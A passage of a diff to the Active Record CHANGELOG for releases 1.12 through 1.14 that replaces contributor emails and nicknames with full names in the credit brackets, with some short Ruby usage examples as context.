 * create! no longer blows up when no attributes are passed and a :create scope is in effect (e.g. foo.bars.create! failed whereas foo.bars.create!({}) didn't.) [Jeremy Kemper]
 
@@ -1616,7 +1688,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Add warning about the proper way to validate the presence of a foreign key. Closes #4147. [Francois Beausoleil <francois.beausoleil@gmail.com>]
 
-* Fix syntax error in documentation. Closes #4679. [mislav@nippur.irb.hr] 
+* Fix syntax error in documentation. Closes #4679. [Mislav Marohnić] 
 
 * Add Oracle support for CLOB inserts. Closes #4748. [schoenm@earthlink.net sandra.metz@duke.edu] 
 
@@ -1630,26 +1702,26 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Sybase Adapter type conversion cleanup. Closes #4736. [dev@metacasa.net]
 
-* Fix bug where calculations with long alias names return null. [Rick]
+* Fix bug where calculations with long alias names return null. [Rick Olson]
 
-* Raise error when trying to add to a has_many :through association.  Use the Join Model instead. [Rick]
+* Raise error when trying to add to a has_many :through association.  Use the Join Model instead. [Rick Olson]
 
     @post.tags << @tag                  # BAD
     @post.taggings.create(:tag => @tag) # GOOD
 
-* Allow all calculations to take the :include option, not just COUNT (closes #4840) [Rick]
+* Allow all calculations to take the :include option, not just COUNT (closes #4840) [Rick Olson]
 
 * Add ActiveRecord::Errors#to_xml [Jamis Buck]
 
 * Properly quote index names in migrations (closes #4764) [John Long]
 
-* Fix the HasManyAssociation#count method so it uses the new ActiveRecord::Base#count syntax, while maintaining backwards compatibility.  [Rick]
+* Fix the HasManyAssociation#count method so it uses the new ActiveRecord::Base#count syntax, while maintaining backwards compatibility.  [Rick Olson]
 
-* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick]
+* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick Olson]
 
-* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick]
+* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick Olson]
 
-* Add :case_sensitive option to validates_uniqueness_of (closes #3090) [Rick]
+* Add :case_sensitive option to validates_uniqueness_of (closes #3090) [Rick Olson]
 
     class Account < ActiveRecord::Base
       validates_uniqueness_of :email, :case_sensitive => false
@@ -1666,7 +1738,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Add warning about the proper way to validate the presence of a foreign key.  #4147 [Francois Beausoleil <francois.beausoleil@gmail.com>]
 
-* Fix syntax error in documentation. #4679 [mislav@nippur.irb.hr] 
+* Fix syntax error in documentation. #4679 [Mislav Marohnić] 
 
 * Update inconsistent migrations documentation. #4683 [machomagna@gmail.com]
 
@@ -1679,9 +1751,9 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Properly quote index names in migrations (closes #4764) [John Long]
 
-* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick]
+* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick Olson]
 
-* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick]
+* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick Olson]
 
 
 *1.14.2* (April 9th, 2006)
@@ -1695,17 +1767,17 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Fixed that that multiparameter assignment doesn't work with aggregations (closes #4620) [Lars Pind]
 
-* Enable Limit/Offset in Calculations (closes #4558) [lmarlow@yahoo.com]
+* Enable Limit/Offset in Calculations (closes #4558) [lmarlow]
 
-* Fixed that loading including associations returns all results if Load IDs For Limited Eager Loading returns none (closes #4528) [Rick]
+* Fixed that loading including associations returns all results if Load IDs For Limited Eager Loading returns none (closes #4528) [Rick Olson]
 
 * Fixed HasManyAssociation#find bugs when :finder_sql is set #4600 [lagroue@free.fr]
 
-* Allow AR::Base#respond_to? to behave when @attributes is nil [zenspider]
+* Allow AR::Base#respond_to? to behave when @attributes is nil [Ryan Davis]
 
-* Support eager includes when going through a polymorphic has_many association. [Rick]
+* Support eager includes when going through a polymorphic has_many association. [Rick Olson]
 
-* Added support for eagerly including polymorphic has_one associations. (closes #4525) [Rick]
+* Added support for eagerly including polymorphic has_one associations. (closes #4525) [Rick Olson]
 
     class Post < ActiveRecord::Base
       has_one :tagging, :as => :taggable
@@ -1713,9 +1785,9 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
     Post.find :all, :include => :tagging
 
-* Added descriptive error messages for invalid has_many :through associations: going through :has_one or :has_and_belongs_to_many [Rick]
+* Added descriptive error messages for invalid has_many :through associations: going through :has_one or :has_and_belongs_to_many [Rick Olson]
 
-* Added support for going through a polymorphic has_many association: (closes #4401) [Rick]
+* Added support for going through a polymorphic has_many association: (closes #4401) [Rick Olson]
 
     class PhotoCollection < ActiveRecord::Base
       has_many :photos, :as => :photographic
@@ -1733,36 +1805,36 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Changed those private ActiveRecord methods to take optional third argument :auto instead of nil for performance optimizations.  (closes #4456) [Stefan]
 
-* Private ActiveRecord methods add_limit!, add_joins!, and add_conditions! take an OPTIONAL third argument 'scope' (closes #4456) [Rick]
+* Private ActiveRecord methods add_limit!, add_joins!, and add_conditions! take an OPTIONAL third argument 'scope' (closes #4456) [Rick Olson]
 
-* DEPRECATED: Using additional attributes on has_and_belongs_to_many associations. Instead upgrade your association to be a real join model [DHH]
+* DEPRECATED: Using additional attributes on has_and_belongs_to_many associations. Instead upgrade your association to be a real join model [David Heinemeier Hansson]
 
-* Fixed that records returned from has_and_belongs_to_many associations with additional attributes should be marked as read only (fixes #4512) [DHH]
+* Fixed that records returned from has_and_belongs_to_many associations with additional attributes should be marked as read only (fixes #4512) [David Heinemeier Hansson]
 
 * Do not implicitly mark recordss of has_many :through as readonly but do mark habtm records as readonly (eventually only on join tables without rich attributes). [Marcel Mollina Jr.]
 
-* Fixed broken OCIAdapter #4457 [schoenm@earthlink.net]
+* Fixed broken OCIAdapter #4457 [Michael Schoen]
 
 
 *1.14.0* (March 27th, 2006)
 
 * Replace 'rescue Object' with a finer grained rescue. Closes #4431. [Nicholas Seckar]
 
-* Fixed eager loading so that an aliased table cannot clash with a has_and_belongs_to_many join table [Rick]
+* Fixed eager loading so that an aliased table cannot clash with a has_and_belongs_to_many join table [Rick Olson]
 
 * Add support for :include to with_scope [andrew@redlinesoftware.com]
 
-* Support the use of public synonyms with the Oracle adapter; required ruby-oci8 v0.1.14 #4390 [schoenm@earthlink.net]
+* Support the use of public synonyms with the Oracle adapter; required ruby-oci8 v0.1.14 #4390 [Michael Schoen]
 
 * Change periods (.) in table aliases to _'s.  Closes #4251 [jeff@ministrycentered.com]
 
-* Changed has_and_belongs_to_many join to INNER JOIN for Mysql 3.23.x.  Closes #4348 [Rick]
+* Changed has_and_belongs_to_many join to INNER JOIN for Mysql 3.23.x.  Closes #4348 [Rick Olson]
 
-* Fixed issue that kept :select options from being scoped [Rick]
+* Fixed issue that kept :select options from being scoped [Rick Olson]
 
-* Fixed db_schema_import when binary types are present #3101 [DHH]
+* Fixed db_schema_import when binary types are present #3101 [David Heinemeier Hansson]
 
-* Fixed that MySQL enums should always be returned as strings #3501 [DHH]
+* Fixed that MySQL enums should always be returned as strings #3501 [David Heinemeier Hansson]
 
 * Change has_many :through to use the :source option to specify the source association.  :class_name is now ignored. [Rick Olson]
 
@@ -1793,13 +1865,13 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
       end
     end
 
-* Fixed that schema changes while the database was open would break any connections to a SQLite database (now we reconnect if that error is throw) [DHH]
+* Fixed that schema changes while the database was open would break any connections to a SQLite database (now we reconnect if that error is throw) [David Heinemeier Hansson]
 
-* Don't classify the has_one class when eager loading, it is already singular. Add tests. (closes #4117) [jonathan@bluewire.net.nz]
+* Don't classify the has_one class when eager loading, it is already singular. Add tests. (closes #4117) [Jonathan Viney]
 
 * Quit ignoring default :include options in has_many :through calls [Mark James]
 
-* Allow has_many :through associations to find the source association by setting a custom class (closes #4307) [jonathan@bluewire.net.nz]
+* Allow has_many :through associations to find the source association by setting a custom class (closes #4307) [Jonathan Viney]
 
 * Eager Loading support added for has_many :through => :has_many associations (see below).  [Rick Olson]
 
@@ -1819,13 +1891,13 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
       belongs_to :client
     end
 
-* Raise error when trying to select many polymorphic objects with has_many :through or :include (closes #4226) [josh@hasmanythrough.com]
+* Raise error when trying to select many polymorphic objects with has_many :through or :include (closes #4226) [Josh Susser]
 
-* Fixed has_many :through to include :conditions set on the :through association. closes #4020 [jonathan@bluewire.net.nz]
+* Fixed has_many :through to include :conditions set on the :through association. closes #4020 [Jonathan Viney]
 
-* Fix that has_many :through honors the foreign key set by the belongs_to association in the join model (closes #4259) [andylien@gmail.com / Rick]
+* Fix that has_many :through honors the foreign key set by the belongs_to association in the join model (closes #4259) [andylien@gmail.com / Rick Olson]
 
-* SQL Server adapter gets some love #4298 [rtomayko@gmail.com]
+* SQL Server adapter gets some love #4298 [Ryan Tomayko]
 
 * Added OpenBase database adapter that builds on top of the http://www.spice-of-life.net/ruby-openbase/ driver. All functionality except LIMIT/OFFSET is supported #3528 [derrickspell@cdmplus.com]
 
@@ -1833,27 +1905,27 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
     Author.find(:all, :include => { :posts => :special_comments }, :order => 'special_comments.body')
 
-* Add AbstractAdapter#table_alias_for to create table aliases according to the rules of the current adapter. [Rick]
+* Add AbstractAdapter#table_alias_for to create table aliases according to the rules of the current adapter. [Rick Olson]
 
-* Provide access to the underlying database connection through Adapter#raw_connection. Enables the use of db-specific methods without complicating the adapters. #2090 [Koz]
+* Provide access to the underlying database connection through Adapter#raw_connection. Enables the use of db-specific methods without complicating the adapters. #2090 [Michael Koziarski]
 
-* Remove broken attempts at handling columns with a default of 'now()' in the postgresql adapter. #2257 [Koz]
+* Remove broken attempts at handling columns with a default of 'now()' in the postgresql adapter. #2257 [Michael Koziarski]
 
-* Added connection#current_database that'll return of the current database (only works in MySQL, SQL Server, and Oracle so far -- please help implement for the rest of the adapters) #3663 [Tom ward]
+* Added connection#current_database that'll return of the current database (only works in MySQL, SQL Server, and Oracle so far -- please help implement for the rest of the adapters) #3663 [Tom Ward]
 
 * Fixed that Migration#execute would have the table name prefix appended to its query #4110 [mark.imbriaco@pobox.com]
 
 * Make all tinyint(1) variants act like boolean in mysql (tinyint(1) unsigned, etc.) [Jamis Buck]
 
-* Use association's :conditions when eager loading. [jeremyevans0@gmail.com] #4144
+* Use association's :conditions when eager loading. [Jeremy Evans] #4144
 
-* Alias the has_and_belongs_to_many join table on eager includes. #4106 [jeremyevans0@gmail.com]
+* Alias the has_and_belongs_to_many join table on eager includes. #4106 [Jeremy Evans]
 
   This statement would normally error because the projects_developers table is joined twice, and therefore joined_on would be ambiguous.
 
     Developer.find(:all, :include => {:projects => :developers}, :conditions => 'join_project_developers.joined_on IS NOT NULL')
 
-* Oracle adapter gets some love #4230 [schoenm@earthlink.net]
+* Oracle adapter gets some love #4230 [Michael Schoen]
 
     * Changes :text to CLOB rather than BLOB [Moses Hohman]
     * Fixes an issue with nil numeric length/scales (several)
@@ -1888,7 +1960,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
       has_many :attachments, :as => :attachable, :dependent => :delete_all
     end
 
-* Nicer error message on has_many :through when :through reflection can not be found. #4042 [court3nay@gmail.com]
+* Nicer error message on has_many :through when :through reflection can not be found. #4042 [court3nay]
 
 * Upgrade to Transaction::Simple 1.3 [Jamis Buck]
 
@@ -1900,7 +1972,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Dynamically set allow_concurrency.  #4044 [Stefan Kaes]
 
-* Added Base#to_xml that'll turn the current record into a XML representation [DHH]. Example:
+* Added Base#to_xml that'll turn the current record into a XML representation [David Heinemeier Hansson]. Example:
 
     topic.to_xml
 
@@ -2035,9 +2107,9 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * CHANGED DEFAULT: set ActiveRecord::Base.allow_concurrency to false.  Most AR usage is in single-threaded applications. [Jeremy Kemper]
 
-* Renamed the "oci" adapter to "oracle", but kept the old name as an alias #4017 [schoenm@earthlink.net]
+* Renamed the "oci" adapter to "oracle", but kept the old name as an alias #4017 [Michael Schoen]
 
-* Fixed that Base.save should always return false if the save didn't succeed, including if it has halted by before_save's #1861, #2477 [DHH]
+* Fixed that Base.save should always return false if the save didn't succeed, including if it has halted by before_save's #1861, #2477 [David Heinemeier Hansson]
 
 * Speed up class -> connection caching and stale connection verification.  #3979 [Stefan Kaes]
 
@@ -2045,7 +2117,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Added that fixtures to placed in subdirectories of the main fixture files are also loaded #3937 [dblack@wobblini.net]
 
-* Define attribute query methods to avoid method_missing calls. #3677 [jonathan@bluewire.net.nz]
+* Define attribute query methods to avoid method_missing calls. #3677 [Jonathan Viney]
 
 * ActiveRecord::Base.remove_connection explicitly closes database connections and doesn't corrupt the connection cache. Introducing the disconnect! instance method for the PostgreSQL, MySQL, and SQL Server adapters; implementations for the others are welcome.  #3591 [Simon Stapleton, Tom Ward]
 
@@ -2069,7 +2141,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Fixed validates_length_of to work on UTF-8 strings by using characters instead of bytes #3699 [Masao Mutoh]
 
-* Fixed that reflections would bleed across class boundaries in single-table inheritance setups #3796 [lars@pind.com]
+* Fixed that reflections would bleed across class boundaries in single-table inheritance setups #3796 [Lars Pind]
 
 * Added calculations: Base.count, Base.average, Base.sum, Base.minimum, Base.maxmium, and the generic Base.calculate. All can be used with :group and :having. Calculations and statitics need no longer require custom SQL. #3958 [Rick Olson]. Examples:
 
@@ -2078,7 +2150,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
     Person.maximum :age
     Person.sum :salary, :group => :last_name
 
-* Renamed Errors#count to Errors#size but kept an alias for the old name (and included an alias for length too) #3920 [contact@lukeredpath.co.uk]
+* Renamed Errors#count to Errors#size but kept an alias for the old name (and included an alias for length too) #3920 [Luke Redpath]
 
 * Reflections don't attempt to resolve module nesting of association classes. Simplify type computation. [Jeremy Kemper]
 
@@ -2086,7 +2158,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Fixed that the schema_info table used by ActiveRecord::Schema.define should respect table pre- and suffixes #3834 [rubyonrails@atyp.de]
 
-* Added :select option to Base.count that'll allow you to select something else than * to be counted on. Especially important for count queries using DISTINCT #3839 [skaes]
+* Added :select option to Base.count that'll allow you to select something else than * to be counted on. Especially important for count queries using DISTINCT #3839 [Stefan Kaes]
 
 * Correct syntax error in mysql DDL,  and make AAACreateTablesTest run first [Bob Silva]
 
@@ -2102,19 +2174,19 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Fix problems with count when used with :include [Jeremy Hopple and Kevin Clark]
 
-* ActiveRecord::RecordInvalid now states which validations failed in its default error message [Tobias Luetke]
+* ActiveRecord::RecordInvalid now states which validations failed in its default error message [Tobias Lütke]
 
-* Using AssociationCollection#build with arrays of hashes should call build, not create [DHH]
+* Using AssociationCollection#build with arrays of hashes should call build, not create [David Heinemeier Hansson]
 
 * Remove definition of reloadable? from ActiveRecord::Base to make way for new Reloadable code. [Nicholas Seckar]
 
 * Fixed schema handling for DB2 adapter that didn't work: an initial schema could be set, but it wasn't used when getting tables and indexes #3678 [Maik Schmidt]
 
-* Support the :column option for remove_index with the PostgreSQL adapter. #3661 [shugo@ruby-lang.org]
+* Support the :column option for remove_index with the PostgreSQL adapter. #3661 [Shugo Maeda]
 
 * Add documentation for add_index and remove_index. #3600 [Manfred Stienstra <m.stienstra@fngtps.com>]
 
-* If the OCI library is not available, raise an exception indicating as much. #3593 [schoenm@earthlink.net]
+* If the OCI library is not available, raise an exception indicating as much. #3593 [Michael Schoen]
 
 * Add explicit :order in finder tests as postgresql orders results differently by default. #3577. [Rick Olson]
 
@@ -2122,7 +2194,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Show a meaningful error when the DB2 adapter cannot be loaded due to missing dependencies. [Nicholas Seckar]
 
-* Make .count work for has_many associations with multi line finder sql [schoenm@earthlink.net]
+* Make .count work for has_many associations with multi line finder sql [Michael Schoen]
 
 * Add AR::Base.base_class for querying the ancestor AR::Base subclass [Jamis Buck]
 
@@ -2130,13 +2202,13 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Don't hardcode 'id' in acts as list.  [ror@philippeapril.com]
 
-* Fix date errors for SQLServer in association tests. #3406 [kevin.clark@gmal.com]
+* Fix date errors for SQLServer in association tests. #3406 [Kevin Clark]
 
 * Escape database name in MySQL adapter when creating and dropping databases. #3409 [anna@wota.jp]
 
 * Disambiguate table names for columns in validates_uniquness_of's WHERE clause. #3423 [alex.borovsky@gmail.com]
 
-* .with_scope imposed create parameters now bypass attr_protected [Tobias Luetke]
+* .with_scope imposed create parameters now bypass attr_protected [Tobias Lütke]
 
 * Don't raise an exception when there are more keys than there are named bind variables when sanitizing conditions. [Marcel Molina Jr.]
 
@@ -2144,25 +2216,25 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Sanitize scoped conditions. [Marcel Molina Jr.]
 
-* Added option to Base.reflection_of_all_associations to specify a specific association to scope the call. For example Base.reflection_of_all_associations(:has_many) [DHH]
+* Added option to Base.reflection_of_all_associations to specify a specific association to scope the call. For example Base.reflection_of_all_associations(:has_many) [David Heinemeier Hansson]
 
-* Added ActiveRecord::SchemaDumper.ignore_tables which tells SchemaDumper which tables to ignore. Useful for tables with funky column like the ones required for tsearch2. [TobiasLuetke]
+* Added ActiveRecord::SchemaDumper.ignore_tables which tells SchemaDumper which tables to ignore. Useful for tables with funky column like the ones required for tsearch2. [Tobias Lütke]
 
-* SchemaDumper now doesn't fail anymore when there are unknown column types in the schema. Instead the table is ignored and a Comment is left in the schema.rb. [TobiasLuetke]
+* SchemaDumper now doesn't fail anymore when there are unknown column types in the schema. Instead the table is ignored and a Comment is left in the schema.rb. [Tobias Lütke]
 
 * Fixed that saving a model with multiple habtm associations would only save the first one.  #3244 [yanowitz-rubyonrails@quantumfoam.org, Florian Weber]
 
 * Fix change_column to work with PostgreSQL 7.x and 8.x.  #3141 [wejn@box.cz, Rick Olson, Scott Barron] 
 
-* removed :piggyback in favor of just allowing :select on :through associations. [Tobias Luetke] 
+* removed :piggyback in favor of just allowing :select on :through associations. [Tobias Lütke] 
 
-* made method missing delegation to class methods on relation target work on :through associations. [Tobias Luetke] 
+* made method missing delegation to class methods on relation target work on :through associations. [Tobias Lütke] 
 
-* made .find() work on :through relations. [Tobias Luetke] 
+* made .find() work on :through relations. [Tobias Lütke] 
 
 * Fix typo in association docs. #3296. [Blair Zajac]
 
-* Fixed :through relations when using STI inherited classes would use the inherited class's name as foreign key on the join model [Tobias Luetke] 
+* Fixed :through relations when using STI inherited classes would use the inherited class's name as foreign key on the join model [Tobias Lütke] 
 
 *1.13.2* (December 13th, 2005)
 
@@ -2170,7 +2242,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * MySQL: allow encoding option for mysql.rb driver.  [Jeremy Kemper]
 
-* Added option inheritance for find calls on has_and_belongs_to_many and has_many assosociations [DHH]. Example:
+* Added option inheritance for find calls on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]. Example:
 
     class Post
       has_many :recent_comments, :class_name => "Comment", :limit => 10, :include => :author
@@ -2180,7 +2252,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
     post.recent_comments.find(:all, :limit => nil) # Uses no limit but include authors
     post.recent_comments.find(:all, :limit => nil, :include => nil) # Uses no limit and doesn't include authors
 
-* Added option to specify :group, :limit, :offset, and :select options from find on has_and_belongs_to_many and has_many assosociations [DHH]
+* Added option to specify :group, :limit, :offset, and :select options from find on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]
 
 * MySQL: fixes for the bundled mysql.rb driver.  #3160 [Justin Forder]
 
@@ -2208,9 +2280,9 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * MySQL: work around ruby-mysql/mysql-ruby inconsistency with mysql.stat.  Eliminate usage of mysql.ping because it doesn't guarantee reconnect.  Explicitly close and reopen the connection instead.  [Jeremy Kemper]
 
-* Added preliminary support for polymorphic associations [DHH]
+* Added preliminary support for polymorphic associations [David Heinemeier Hansson]
 
-* Added preliminary support for join models [DHH]
+* Added preliminary support for join models [David Heinemeier Hansson]
 
 * Allow validate_uniqueness_of to be scoped by more than just one column.  #1559. [jeremy@jthopple.com, Marcel Molina Jr.]
 
@@ -2236,7 +2308,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Add tasks to create, drop and rebuild the MySQL and PostgreSQL test  databases. [Marcel Molina Jr.]
 
-* Correct boolean handling in generated reader methods.  #2945 [don.park@gmail.com, Stefan Kaes]
+* Correct boolean handling in generated reader methods.  #2945 [Don Park, Stefan Kaes]
 
 * Don't generate read methods for columns whose names are not valid ruby method names.  #2946 [Stefan Kaes]
 
@@ -2284,7 +2356,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Fix sqlite adaptor's detection of missing dbfile or database declaration. [Nicholas Seckar]
 
-* Fixed acts_as_list for definitions without an explicit :order #2803 [jonathan@bluewire.net.nz]
+* Fixed acts_as_list for definitions without an explicit :order #2803 [Jonathan Viney]
 
 * Upgrade bundled ruby-mysql 0.2.4 with mysql411 shim (see #440) to ruby-mysql 0.2.6 with a patchset for 4.1 protocol support.  Local change [301] is now a part of the main driver; reapplied local change [2182].  Removed GC.start from Result.free.  [tommy@tmtm.org, akuroda@gmail.com, Doug Fales <doug.fales@gmail.com>, Jeremy Kemper]
 
@@ -2303,7 +2375,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Fixed faulty regex in get_table_name method (SQLServerAdapter) #2639 [Ryan Tomayko]
 
-* Added :include as an option for association declarations [DHH]. Example:
+* Added :include as an option for association declarations [David Heinemeier Hansson]. Example:
 
     has_many :posts, :include => [ :author, :comments ]
 
@@ -2318,7 +2390,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Fixed that SQL Server should ignore :size declarations on anything but integer and string in the agnostic schema representation #2756 [Ryan Tomayko]
 
-* Added constrain scoping for creates using a hash of attributes bound to the :creation key [DHH]. Example:
+* Added constrain scoping for creates using a hash of attributes bound to the :creation key [David Heinemeier Hansson]. Example:
 
     Comment.constrain(:creation => { :post_id => 5 }) do
       # Associated with :post_id
@@ -2330,7 +2402,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
     # If the tag doesn't exist, a new one is created that's associated with the person
     person.tags.find_or_create_by_name("Summer")
 
-* Added find_or_create_by_X as a second type of dynamic finder that'll create the record if it doesn't already exist [DHH]. Example:
+* Added find_or_create_by_X as a second type of dynamic finder that'll create the record if it doesn't already exist [David Heinemeier Hansson]. Example:
 
     # No 'Summer' tag exists
     Tag.find_or_create_by_name("Summer") # equal to Tag.create(:name => "Summer")
@@ -2338,7 +2410,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
     # Now the 'Summer' tag does exist
     Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
 
-* Added extension capabilities to has_many and has_and_belongs_to_many proxies [DHH]. Example:
+* Added extension capabilities to has_many and has_and_belongs_to_many proxies [David Heinemeier Hansson]. Example:
 
     class Account < ActiveRecord::Base
       has_many :people do
@@ -2357,9 +2429,9 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
   Note that the anoymous module must be declared using brackets, not do/end (due to order of evaluation).
 
-* Omit internal dtproperties table from SQLServer table list.  #2729 [rtomayko@gmail.com]
+* Omit internal dtproperties table from SQLServer table list.  #2729 [Ryan Tomayko]
 
-* Quote column names in generated SQL.  #2728 [rtomayko@gmail.com]
+* Quote column names in generated SQL.  #2728 [Ryan Tomayko]
 
 * Correct the pure-Ruby MySQL 4.1.1 shim's version test.  #2718 [Jeremy Kemper]
 
@@ -2373,7 +2445,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Worked around that connection can't be reset if allow_concurrency is off.  #2648 [Michael Schoen <schoenm@earthlink.net>]
 
-* Fixed SQL Server adapter to pass even more tests and do even better #2634 [rtomayko@gmail.com]
+* Fixed SQL Server adapter to pass even more tests and do even better #2634 [Ryan Tomayko]
 
 * Fixed SQL Server adapter so it honors options[:conditions] when applying :limits #1978 [Tom Ward]
 
@@ -2386,18 +2458,18 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Added :offset and :limit to the kinds of options that Base.constrain can use #2466 [duane.johnson@gmail.com]
 
-* Fixed handling of nil number columns on Oracle and cleaned up tests for Oracle in general #2555 [schoenm@earthlink.net]
+* Fixed handling of nil number columns on Oracle and cleaned up tests for Oracle in general #2555 [Michael Schoen]
 
 * Added quoted_true and quoted_false methods and tables to db2_adapter and cleaned up tests for DB2 #2493, #2624 [maik schmidt]
 
 
 *1.12.2* (October 26th, 2005)
 
-* Allow symbols to rename columns when using SQLite adapter. #2531 [kevin.clark@gmail.com]
+* Allow symbols to rename columns when using SQLite adapter. #2531 [Kevin Clark]
 
 * Map Active Record time to SQL TIME.  #2575, #2576 [Robby Russell <robby@planetargon.com>]
 
-* Clarify semantics of ActiveRecord::Base#respond_to?  #2560 [skaes@web.de]
+* Clarify semantics of ActiveRecord::Base#respond_to?  #2560 [Stefan Kaes]
 
 * Fixed Association#clear for associations which have not yet been accessed. #2524 [Patrick Lenz <patrick@lenz.sh>]
 
@@ -2451,25 +2523,25 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Add test coverage for content_columns. #2432. [coffee2code]
 
-* Speed up for unthreaded environments. #2431. [skaes@web.de]
+* Speed up for unthreaded environments. #2431. [Stefan Kaes]
 
-* Optimization for Mysql selects using mysql-ruby extension greater than 2.6.3.  #2426. [skaes@web.de]
+* Optimization for Mysql selects using mysql-ruby extension greater than 2.6.3.  #2426. [Stefan Kaes]
 
-* Speed up the setting of table_name. #2428. [skaes@web.de]
+* Speed up the setting of table_name. #2428. [Stefan Kaes]
 
-* Optimize instantiation of STI subclass records. In partial fullfilment of #1236. [skaes@web.de]
+* Optimize instantiation of STI subclass records. In partial fullfilment of #1236. [Stefan Kaes]
 
 * Fix typo of 'constrains' to 'contraints'. #2069. [Michael Schuerig <michael@schuerig.de>]
 
-* Optimization refactoring for add_limit_offset!. In partial fullfilment of #1236. [skaes@web.de]
+* Optimization refactoring for add_limit_offset!. In partial fullfilment of #1236. [Stefan Kaes]
 
 * Add ability to get all siblings, including the current child, with acts_as_tree. Recloses #2140. [Michael Schuerig <michael@schuerig.de>]
 
-* Add geometric type for postgresql adapter. #2233 [akaspick@gmail.com]
+* Add geometric type for postgresql adapter. #2233 [Andrew Kaspick]
 
-* Add option (true by default) to generate reader methods for each attribute of a record to avoid the overhead of calling method missing. In partial fullfilment of #1236. [skaes@web.de]
+* Add option (true by default) to generate reader methods for each attribute of a record to avoid the overhead of calling method missing. In partial fullfilment of #1236. [Stefan Kaes]
 
-* Add convenience predicate methods on Column class. In partial fullfilment of #1236. [skaes@web.de]
+* Add convenience predicate methods on Column class. In partial fullfilment of #1236. [Stefan Kaes]
 
 * Raise errors when invalid hash keys are passed to ActiveRecord::Base.find. #2363  [Chad Fowler <chad@chadfowler.com>, Nicholas Seckar]
 
@@ -2494,7 +2566,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 * Make update_attribute use the same writer method that update_attributes uses.
  #2237 [trevor@protocool.com]
 
-* Make migrations honor table name prefixes and suffixes. #2298 [Jakob S, Marcel Molina]
+* Make migrations honor table name prefixes and suffixes. #2298 [Jakob Skjerning, Marcel Molina Jr.]
 
 * Correct and optimize PostgreSQL bytea escaping.  #1745, #1837 [dave@cherryville.org, ken@miriamtech.com, bellis@deepthought.org]
 
@@ -2502,7 +2574,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Standardize the interpretation of boolean columns in the Mysql and Sqlite adapters. (Use MysqlAdapter.emulate_booleans = false to disable this behavior)
 
-* Added new symbol-driven approach to activating observers with Base#observers= [DHH]. Example:
+* Added new symbol-driven approach to activating observers with Base#observers= [David Heinemeier Hansson]. Example:
 
     ActiveRecord::Base.observers = :cacher, :garbage_collector
 
@@ -2518,19 +2590,19 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed that the create_x method from belongs_to wouldn't save the association properly #2042 [Florian Weber]
 
-* Fixed saving a record with two unsaved belongs_to associations pointing to the same object #2023 [Tobias Luetke]
+* Fixed saving a record with two unsaved belongs_to associations pointing to the same object #2023 [Tobias Lütke]
 
 * Improved migrations' behavior when the schema_info table is empty. [Nicholas Seckar]
 
 * Fixed that Observers didn't observe sub-classes #627 [Florian Weber]
 
-* Fix eager loading error messages, allow :include to specify tables using strings or symbols. Closes #2222 [Marcel Molina]
+* Fix eager loading error messages, allow :include to specify tables using strings or symbols. Closes #2222 [Marcel Molina Jr.]
 
 * Added check for RAILS_CONNECTION_ADAPTERS on startup and only load the connection adapters specified within if its present (available in Rails through config.connection_adapters using the new config) #1958 [skae]
 
 * Fixed various problems with has_and_belongs_to_many when using customer finder_sql #2094 [Florian Weber]
 
-* Added better exception error when unknown column types are used with migrations #1814 [fbeausoleil@ftml.net]
